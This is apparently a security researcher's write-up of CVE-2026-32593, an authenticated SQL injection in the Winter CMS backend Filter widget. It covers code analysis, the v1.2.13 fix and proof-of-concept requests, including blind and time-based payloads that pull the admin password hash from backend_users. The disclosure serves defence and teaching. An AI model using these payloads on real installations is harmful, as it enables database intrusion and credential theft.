Loading...

Initializing...

CVE-2026-32593 | How a Single Regex Character Broke Winter CMS Security cover image

CVE-2026-32593 | How a Single Regex Character Broke Winter CMS Security

WebSecuritySecurityResearchSQLInjectionLaravelCMS

Introduction

What’s Winter CMS ???

It’s a Content Management System (CMS) whose sole purpose is to make your development workflow simple again. Winter CMS is a free, open-source content management system based on the Laravel PHP framework. Originally forked from October CMS, it provides a clean and simple interface for managing website content while remaining developer-friendly.

The main purpose I chose Winter for testing is that Winter is built on the Laravel Framework, which means it inherits Laravel’s MVC architecture and Eloquent ORM - making it an interesting target for understanding how SQL injection vulnerabilities can still occur even in modern, well-structured PHP applications.

Winter Structure

Directory Structure

MyWinterProject
|-- bootstrap          # Code used to bootstrap the application
|-- config             # Configuration files for the application
|-- modules            # Modules
|   |-- backend          # The Backend module
|   |-- cms              # The CMS module
|   `-- system           # The System module
|-- node_modules       # (optional) Frontend vendor files managed by NPM / Yarn
|-- plugins            # Plugins
|-- storage            # Local storage directory
|   |-- app              # Application storage, such as media and uploads
|   |-- cms              # CMS auto-generated system files
|   |-- framework        # System and cache files generated by the Laravel framework
|   |-- logs             # Error and message log storage
|   `-- temp             # Temporary file storage
|-- themes             # Themes
|-- vendor             # PHP vendor files managed by Composer
|-- artisan            # CLI entrypoint
|-- composer.json      # Composer project file (managing PHP dependencies)
|-- composer.lock      # Composer lock file (info on currently installed packages)
|-- index.php          # Web request entrypoint
|-- package.json       # (optional) Node project file (managing frontend dependencies)
|-- package-lock.json  # (optional) Node lock file (info on currently installed frontend packages)
`-- phpunit.xml        # (optional) PHPUnit configuration for running automated testing suites

Layers Structure

The code for your Winter CMS projects can generally exist as one of three different types of extensions:

LayerDescription
ThemeThemes are responsible for the front-end presentation of your website. They contain layouts, pages, partials, and assets (CSS, JS, images). Themes work with the CMS module to render content to visitors.
PluginPlugins are the primary way to extend Winter CMS functionality. They can add backend controllers, models, components, and integrate with the core system. Plugins live in the /plugins directory and follow a Author/PluginName structure.
ModuleModules are the foundational building blocks of Winter CMS. The three core modules (Backend, CMS, System) provide all essential functionality. Unlike plugins, modules are typically reserved for core Winter functionality.

The relationship between these layers:

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                    Frontend (Themes)                    β”‚
β”‚         Layouts -> Pages -> Partials -> Components      β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚                    Plugins Layer                        β”‚
β”‚    Custom Models, Controllers, Behaviors, Widgets       β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚                    Core Modules                         β”‚
β”‚        Backend    |    CMS    |    System               β”‚
β”‚   (Admin Panel)   | (Frontend)| (Core Services)         β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚                 Laravel Framework                       β”‚
β”‚         Eloquent ORM, Routing, Events, etc.             β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

CVE-2026-32593

Title

SQL Injection in Backend Filter Widget numberrange Scope via numbersFromAjax

Severity

High - Authenticated SQL Injection leading to full database read access


Discovery Journey

I started my testing from the modules directory and went deeper to understand the architecture. First, let’s look at the structure of the modules:

modules/
|-- backend    # Admin panel functionality (Our Target)
|-- cms        # Frontend content management
|-- system     # Core system services

I spent some time exploring the backend directory to understand the flow of the application. The backend module structure looks like this:

modules/backend/
|-- assets/            # CSS, JS, images for admin panel
|-- behaviors/         # Reusable controller behaviors
|-- classes/           # Core backend classes (FilterScope, etc.)
|-- controllers/       # Backend controllers (Users, Auth, etc.)
|-- database/          # Migrations and seeders
|-- facades/           # Laravel facades
|-- formwidgets/       # Form field widgets (datepicker, etc.)
|-- helpers/           # Helper functions
|-- lang/              # Translations
|-- layouts/           # Backend layout templates
|-- models/            # Eloquent models (User, AccessLog, etc.)
|-- reportwidgets/     # Dashboard widgets
|-- traits/            # Reusable traits
|-- views/             # View partials
|-- widgets/           # Core widgets (Filter, Lists, Form, etc.)  <-- VULNERABLE
|-- ServiceProvider.php
`-- routes.php

Understanding the Data Flow

The key widget I focused on was the Filter widget (modules/backend/widgets/Filter.php). This widget is responsible for filtering list data in the backend admin panel. Let me illustrate the complete vulnerable flow:

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                         VULNERABLE DATA FLOW                                β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

[1] Attacker sends malicious AJAX request
    β”‚
    β”‚  POST /backend/<controller>
    β”‚  X-WINTER-REQUEST-HANDLER: listFilter::onFilterUpdate
    β”‚  Content-Type: application/x-www-form-urlencoded
    β”‚
    β”‚  scopeName=price&options={"numbers":["0","9999 OR 1=1-- "]}
    β”‚
    β–Ό
[2] onFilterUpdate() receives request
    β”‚   File: modules/backend/widgets/Filter.php:226
    β”‚
    β”‚   public function onFilterUpdate() {
    β”‚       $scope = post('scopeName');
    β”‚       ...
    β”‚       case 'numberrange':
    β”‚           $data = json_decode(post('options'), true);
    β”‚           $numbers = $this->numbersFromAjax($data['numbers'] ?? null);
    β”‚                              β”‚
    β”‚                              β–Ό
    β”‚
[3] numbersFromAjax() - WEAK VALIDATION
    β”‚   File: modules/backend/widgets/Filter.php:1094
    β”‚
    β”‚   protected function numbersFromAjax($ajaxNumbers) {
    β”‚       $numberRegex = '/\d/';  ◄── FLAW: Only checks if ONE digit exists!
    β”‚       foreach ($ajaxNumbers as $number) {
    β”‚           if (preg_match($numberRegex, $number)) {
    β”‚               $numbers[] = $number;  ◄── Entire malicious string passes!
    β”‚           }
    β”‚       }
    β”‚   }
    β”‚
    β”‚   Input:  "9999 OR 1=1-- "
    β”‚   Regex:  /\d/ matches "9" βœ“
    β”‚   Result: Entire string "9999 OR 1=1-- " is accepted!
    β”‚
    β–Ό
[4] setScopeValue() stores malicious input
    β”‚   File: modules/backend/widgets/Filter.php:952
    β”‚
    β–Ό
[5] applyScopeToQuery() - UNSAFE INTERPOLATION
    β”‚   File: modules/backend/widgets/Filter.php:845-857
    β”‚
    β”‚   case 'numberrange':
    β”‚       if ($scopeConditions = $scope->conditions) {
    β”‚           $query->whereRaw(DbDongle::parse(strtr($scopeConditions, [
    β”‚               ':min' => $min,     ◄── User input directly interpolated!
    β”‚               ':max' => $max      ◄── No escaping, no parameterization!
    β”‚           ])));
    β”‚       }
    β”‚
    β”‚   Configured condition: "price BETWEEN :min AND :max"
    β”‚   After strtr():        "price BETWEEN 0 AND 9999 OR 1=1-- "
    β”‚                                                  β–²
    β”‚                                           INJECTED SQL!
    β”‚
    β–Ό
[6] Final SQL Query Executed

    SELECT * FROM `products` WHERE price BETWEEN 0 AND 9999 OR 1=1--
                                                             β–²
                                                    Bypasses filter!

Code Analysis

Vulnerable Function #1: numbersFromAjax() - Insufficient Input Validation

Location: modules/backend/widgets/Filter.php:1094-1114

protected function numbersFromAjax($ajaxNumbers)
{
    $numbers = [];
    $numberRegex = '/\d/';  // BUG: Only requires ONE digit anywhere in the string!

    if (!empty($ajaxNumbers)) {
        if (!is_array($ajaxNumbers) && preg_match($numberRegex, $ajaxNumbers)) {
            $numbers = [$ajaxNumbers];
        } else {
            foreach ($ajaxNumbers as $i => $number) {
                if (preg_match($numberRegex, $number)) {
                    $numbers[] = $number;  // Entire unsanitized string is kept
                } else {
                    $numbers[] = null;
                }
            }
        }
    }

    return $numbers;
}

Why This Is Vulnerable:

The regex /\d/ uses preg_match() which returns true if the pattern matches anywhere in the string. This means:

InputContains Digit?Passes Validation?Should Pass?
"100"YesYesYes
"9999 OR 1=1-- "Yes (β€œ9”, β€œ1”)YesNo
"abc1xyz"Yes (β€œ1”)YesNo
"SLEEP(5);-- 0"Yes (β€œ5”, β€œ0”)YesNo

Compare to Secure Implementation - The number scope type (non-range) uses proper validation:

// Line 826 - SECURE validation for 'number' scope type
case 'number':
    if (is_numeric($scope->value)) {  // βœ“ Proper validation!
        // ...
    }

Compare to Another Secure Implementation - The text scope type uses proper escaping:

// Line 874-877 - SECURE escaping for 'text' scope type
case 'text':
    if ($scopeConditions = $scope->conditions) {
        $query->whereRaw(DbDongle::parse(strtr($scopeConditions, [
            ':value' => DB::getPdo()->quote($scope->value),  // βœ“ Proper escaping!
        ])));
    }

Vulnerable Function #2: applyScopeToQuery() - Unsafe String Interpolation

Location: modules/backend/widgets/Filter.php:845-866

case 'numberrange':
    if (is_array($scope->value) && count($scope->value) > 1) {
        list($min, $max) = array_values($scope->value);

        if (isset($min) || isset($max)) {
            /*
             * Condition
             */
            if ($scopeConditions = $scope->conditions) {
                $query->whereRaw(DbDongle::parse(strtr($scopeConditions, [
                    ':min'  => $min === null ? -2147483647 : $min,  // Direct interpolation!
                    ':max'  => $max === null ? 2147483647 : $max   // No escaping!
                ])));
            }
            /*
             * Scope
             */
            elseif ($scopeMethod = $scope->scope) {
                $query->$scopeMethod($min, $max);
            }
        }
    }
    break;

Why This Is Vulnerable:

  1. strtr() performs simple string replacement - no escaping
  2. User-controlled values ($min, $max) are directly placed into the SQL string
  3. whereRaw() executes the resulting string as raw SQL
  4. No parameterized query bindings are used

The Safe Way (Laravel’s Parameterized Queries):

// SECURE approach using parameterized bindings
$query->whereRaw('price BETWEEN ? AND ?', [$min, $max]);

Proof of Concept

Prerequisites

  • Authenticated backend session
  • Access to any list controller with a numberrange filter scope configured with a conditions key

PoC #1: Boolean-Based Injection (Bypass Filter)

Request:

POST /backend/<controller-url> HTTP/1.1
X-WINTER-REQUEST-HANDLER: listFilter::onFilterUpdate
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
X-CSRF-TOKEN: <valid-csrf-token>
Cookie: admin_auth=<session>; winter_session=<session>

scopeName=<scope-name>&options={"numbers":["0","9999 OR 1=1-- "]}

Resulting SQL:

SELECT * FROM `products` WHERE price BETWEEN 0 AND 9999 OR 1=1--

Impact: Returns all rows, bypassing the intended filter

PoC #2: Boolean-Blind Data Extraction

Extract Admin Password Hash (character by character):

options={"numbers":["0","9999 AND (SELECT SUBSTRING(password,1,4) FROM backend_users WHERE login=0x61646d696e LIMIT 1)=0x24327924-- "]}

This confirms if the admin password hash starts with $2y$ (bcrypt identifier).

PoC #3: Time-Based Blind Extraction

options={"numbers":["0","9999 AND IF((SELECT SUBSTRING(password,1,1) FROM backend_users WHERE login=0x61646d696e LIMIT 1)=0x24,SLEEP(3),0)-- "]}
  • True condition (char is $): Response delayed ~3 seconds
  • False condition: Response immediate

Remediation

The Fix (Applied in Winter CMS v1.2.13)

The fix involves two changes:

1. Proper Numeric Validation:

// BEFORE (vulnerable)
$numberRegex = '/\d/';
if (preg_match($numberRegex, $number)) {
    $numbers[] = $number;
}

// AFTER (secure)
if (is_numeric($number)) {
    $numbers[] = $number;
}

2. Parameterized Queries:

Use Laravel’s query builder with proper bindings instead of string interpolation:

// BEFORE (vulnerable)
$query->whereRaw(DbDongle::parse(strtr($scopeConditions, [
    ':min' => $min,
    ':max' => $max
])));

// AFTER (secure)
$query->whereRaw(
    DbDongle::parse(strtr($scopeConditions, [':min' => '?', ':max' => '?'])),
    [$min ?? -2147483647, $max ?? 2147483647]
);

Workaround (If Upgrade Not Possible)

Apply commit 50713de manually to your Winter CMS installation.


References

  • CVE ID: CVE-2026-32593
  • Affected Component: Backend Filter Widget (modules/backend/widgets/Filter.php)
  • Affected Versions: Winter CMS < v1.2.13
  • Fix Commit: 50713de
  • CVSS Score: High (Authenticated SQL Injection)

This vulnerability was discovered during security research on Winter CMS.